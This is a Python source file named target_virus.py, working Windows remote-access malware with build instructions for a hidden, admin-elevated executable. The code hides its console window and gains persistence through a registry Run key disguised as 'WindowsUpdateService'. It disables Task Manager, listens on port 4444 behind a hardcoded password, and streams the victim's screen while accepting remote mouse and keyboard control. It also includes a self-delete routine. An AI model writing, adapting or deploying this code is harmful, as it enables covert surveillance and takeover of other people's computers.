Загрузка данных


# target_virus.py - Remote administration with password lock and screen mirroring
# Compile to .exe with: pyinstaller --onefile --noconsole --uac-admin target_virus.py

import socket
import threading
import subprocess
import sys
import os
import time
import ctypes
import mss
import numpy as np
from PIL import Image
import io
import struct
import keyboard
import mouse
import win32api
import win32con
import win32gui
import win32ui
from pynput import mouse as pynput_mouse
from pynput import keyboard as pynput_keyboard

# Global control
running = True
password = "abobanecheat456"
authenticated = False
target_screen = None
control_socket = None
listener_socket = None
PERSISTENCE_KEY = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
APP_NAME = "WindowsUpdateService"

def hide_console():
    """Hide console window completely"""
    ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

def add_persistence():
    """Add to startup registry so it runs on boot"""
    import winreg
    key = winreg.HKEY_CURRENT_USER
    try:
        reg_key = winreg.OpenKey(key, PERSISTENCE_KEY, 0, winreg.KEY_SET_VALUE)
        winreg.SetValueEx(reg_key, APP_NAME, 0, winreg.REG_SZ, sys.executable)
        winreg.CloseKey(reg_key)
    except:
        pass

def kill_self():
    """Self-delete via cmd (requires admin)"""
    subprocess.Popen(f"cmd /c del /f \"{sys.executable}\"", shell=True)
    os._exit(0)

def block_task_manager():
    """Prevent user from killing via Task Manager"""
    try:
        import winreg
        key = winreg.HKEY_CURRENT_USER
        reg_key = winreg.OpenKey(key, r"Software\Microsoft\Windows\CurrentVersion\Policies\System", 0, winreg.KEY_SET_VALUE)
        winreg.SetValueEx(reg_key, "DisableTaskMgr", 0, winreg.REG_DWORD, 1)
        winreg.CloseKey(reg_key)
    except:
        pass

def send_screen(sock):
    """Capture screen and send as JPEG stream"""
    with mss.mss() as sct:
        monitor = sct.monitors[1]
        while running and authenticated:
            try:
                img = sct.grab(monitor)
                img = Image.frombytes("RGB", img.size, img.bgra, "raw", "BGRX")
                buffer = io.BytesIO()
                img.save(buffer, format="JPEG", quality=60)
                data = buffer.getvalue()
                sock.send(struct.pack(">I", len(data)))
                sock.send(data)
                time.sleep(0.05)
            except:
                break

def receive_controls(sock):
    """Receive mouse/keyboard commands from controller"""
    while running and authenticated:
        try:
            cmd_len = struct.unpack(">I", sock.recv(4))[0]
            cmd = sock.recv(cmd_len).decode()
            parts = cmd.split("|")
            if parts[0] == "move":
                x, y = map(int, parts[1].split(","))
                win32api.SetCursorPos((x, y))
            elif parts[0] == "click":
                win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
                win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)
            elif parts[0] == "rightclick":
                win32api.mouse_event(win32con.MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0)
                win32api.mouse_event(win32con.MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0)
            elif parts[0] == "key":
                keyboard.write(parts[1])
            elif parts[0] == "keydown":
                keyboard.press(parts[1])
            elif parts[0] == "keyup":
                keyboard.release(parts[1])
        except:
            break

def handle_connection(conn, addr):
    """Handle incoming connection from controller"""
    global authenticated
    try:
        # Wait for password
        conn.send(b"PASS_REQ")
        data = conn.recv(1024).decode().strip()
        if data == password:
            authenticated = True
            conn.send(b"AUTH_OK")
            # Start screen streaming and control threads
            screen_thread = threading.Thread(target=send_screen, args=(conn,), daemon=True)
            control_thread = threading.Thread(target=receive_controls, args=(conn,), daemon=True)
            screen_thread.start()
            control_thread.start()
            screen_thread.join()
            control_thread.join()
        else:
            conn.send(b"AUTH_FAIL")
            conn.close()
    except:
        pass

def start_server(port=4444):
    """Start listener for controller connection"""
    global listener_socket
    listener_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener_socket.bind(("0.0.0.0", port))
    listener_socket.listen(1)
    while running:
        try:
            conn, addr = listener_socket.accept()
            handle_connection(conn, addr)
        except:
            pass

def main():
    hide_console()
    add_persistence()
    block_task_manager()
    # Start server
    server_thread = threading.Thread(target=start_server, daemon=True)
    server_thread.start()
    # Keep alive
    while running:
        time.sleep(1)

if __name__ == "__main__":
    main()